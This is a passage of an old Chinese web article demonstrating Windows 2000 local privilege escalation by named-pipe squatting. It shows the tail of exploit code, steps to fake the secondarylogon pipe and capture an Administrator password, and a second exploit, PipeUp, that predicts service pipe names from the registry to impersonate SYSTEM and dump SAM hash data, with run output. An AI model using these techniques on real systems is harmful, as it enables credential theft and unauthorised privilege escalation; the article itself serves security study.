Linux中国 Linux中国门户站!
设为主页 设为主页
收藏本站 收藏本站
 

在Win2000中提升权限的实例及心得

来源:linuxdby.com 作者:Webmaster 时间:2007-04-12 点击: [收藏] [投稿]

StartupInfo.cb = sizeof(StartupInfo);
ZeroMemory(&ProcessInfo, sizeof(ProcessInfo));

ret = CreateProcessWithLogonW(
lpUsername,
lpDomain,
lpPassword,
dwLogonFlags,
lpApplicationName,
lpCommandLine,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
&StartupInfo,
&ProcessInfo
);


if (! ret )
ExitProcess (GetLastError()) ;

return 0;
}


<================================================================>

在伪造Named Pipe之前,必须关闭RunAs的“\\.\pipe\secondarylogon”,要不然运行radix1112200101会得到Permission Denied之类的错误。

我先以超级用户Administrator登录dallas,然后从Administrative Tools->Services中终止RunAs服务进程 (一般的情况下,只有超级用户Administrator才能终止RunAs服务进程)。这样RunAs拥有的“\\.\pipe\secondarylogon”就关闭(Close)了。

再以我的一般用户账号moda登录dallas,接着运行radix1112200101伪造一个新的Named Pipe “\\.\pipe\secondarylogon”。


D:\MyJob\securitylab\radix\Debug>radix1112200101
Created pipe and waiting for clients...


怎么确定“\\.\pipe\secondarylogon”被成功地创建了呢?我们可以使用pipelist程序,这是我从sysinternals网站下载的宝贝之一,它能列出系统中所有的Named Pipe:

D:\MyJob\tool\pipelist\RELEASE>pipelist

PipeList v1.01
by Mark Russinovich
http://www.sysinternals.com

Pipe Name Instances Max Instances
--------- --------- -------------
InitShutdown 2 -1
lsass 5 -1
ntsvcs 50 -1
scerpc 2 -1
net\NtControlPipe1 1 1
DhcpClient 1 -1
net\NtControlPipe2 1 1
Winsock2\CatalogChangeListener-194-0 1 1
net\NtControlPipe3 1 1
spoolss 2 -1
。。。。。。。
。。。。。。。
net\NtControlPipe21 1 1
tapsrv 2 -1
ROUTER 2 -1
WMIEP_2ac 2 -1
WMIEP_154 2 -1
SecondaryLogon 1 10

D:\MyJob\tool\pipelist\RELEASE>

你们看到,最后一个Named Pipe就是radix1112200101刚刚伪造Secondarylogon。

现在运行radixvictim。对於这个程序,用户甲就是无辜而无知的“moda”,而用户乙就是超级用户Administrator。请注意Exploit程序radix1112200101的输出:

D:\MyJob\securitylab\radix\Debug>radix1112200101
Created pipe and waiting for clients...
Read 4 bytes. (ASCII Dump)
>
? Read 318 bytes. (ASCII Dump)

? ? 8
X j □ □
? ? ? - + -
? A d m i n
i s t r a t o r
? d a l l a
s ? m o d a
* D
: \ W i n n t \
N o t e P a d .
e x e ? N o
t e P a d . e x
e l
D H l


W i n S
t a 0 \ D e f a
u l t _
D:\MyJob\securitylab\radix\Debug>

你们可以看到,超级用户Administrator的信息(包括密码)全部都被radix1112200101接收到了。得到Administrator的账号信息后,再提升权限就易如反掌了!

这个Exploit的关键在于:第一,Named Pipe的名字是广为人知的,黑客的Named Pipe也可以贴上同样的名字“\\.\pipe\secondarylogon”去冒充;第二,CreateProcessWithLogonW在使用Named Pipe之前并没有核实Named Pipe的Server端进程,它不管Server端是连通到RunAs进程还是到其它的进程。类似的这样问题是在Windows操作系统中是广泛存在的,再看下面的例子:

我是在网站http://www.dogmile.com上看到的这个例子的,作者为maceo。根据maceo的研究,Windows 2000操作系统广泛使用了Named Pipe来控制(或者说管理)服务进程,包括象Clipbook服务进程呀、Telnetd服务进程呀等等,而且这些Named Pipe的名字是可以猜得到的。如果黑客抢先用猜到的名字创建Named Pipe的话,服务进程启动时会直接连接到黑客的Named Pipe上,於是黑客程序就可以通过ImpersonateNamedPipeClient()取得服务进程的权限(缺省设置为Local System权限)。那么,黑客是如何猜到这些Named Pipe的名字的呢?很简单,他是从Registry中查询到的,在下面的地址:

HKEY_LOCAL_MACHINE\
SYSTEM\
CurrentControlSet\
Control\
ServiceCurrent

如果ServiceCurrent的双字值(DWORD Value)是X,那么服务进程所用到的Named Pipe的名字就是“\\.\pipe\net\NtControlPipe(X+1)”,这也就是黑客要伪造的Named Pipe的名字。

maceo给出了几个Exploit程序,我下面就在Dallas上演示其中的一个----PipeUp。这个Exploit程序首先从Registry中取得下一个服务进程要使用的Named Pipe名字,然后抢先创建这个Named Pipe;紧接着它启动服务进程ClipBook,由于ClipBook启动后会主动连接这个伪造的Named Pipe,於是PipeUp就通过函数ImpersonateNamedPipeClient而获取了Local System的账号权限(因为ClipBook一般以Local System的账号运行)。这样进程PipeUp就有足够的权限把Local System在Security Account Manager(SAM)中的信息读出来。

你们可以从网站http://www.dogmile.com下载这个Exploit的源程序,这里限于篇幅我就不转载这个程序了(画外音:其实是限于版权)。

先以Administrator的账号登录dallas,把ClipBook服务进程停止。

再以一般用户moda登录,运行Exploit程序PipeUp,下面是PipeUp运行及Exploit的结果:

D:\MyJob\securitylab\PipeUp\Debug>pipeup
The ClipBook service is not started.

More help is available by typing NET HELPMSG 3521.

Impersonating: SYSTEM
Dumping SAM for RID 500 ...

F:0x020001000000000010f3e3f89b33c2010000000000000000f0a09fa11061c101ffffffffffff
ff7fb0c25115f430c201f401000001020000100200000000000000002a010100000000000d000a00
0000

 如果您对本文有任何疑问或者建议,请到讨论区发表您的意见: >> 论坛入口 <<



上一篇: 自动安装Windows2000系统   下一篇: 怎么样让Win2000系统达到最佳性能

文章评论】 【收藏本文】 【推荐好友】 【打印本文】 【我要投稿】 【论坛讨论
更多相关文章
Power by linux-cn.com 粤ICP备05006655号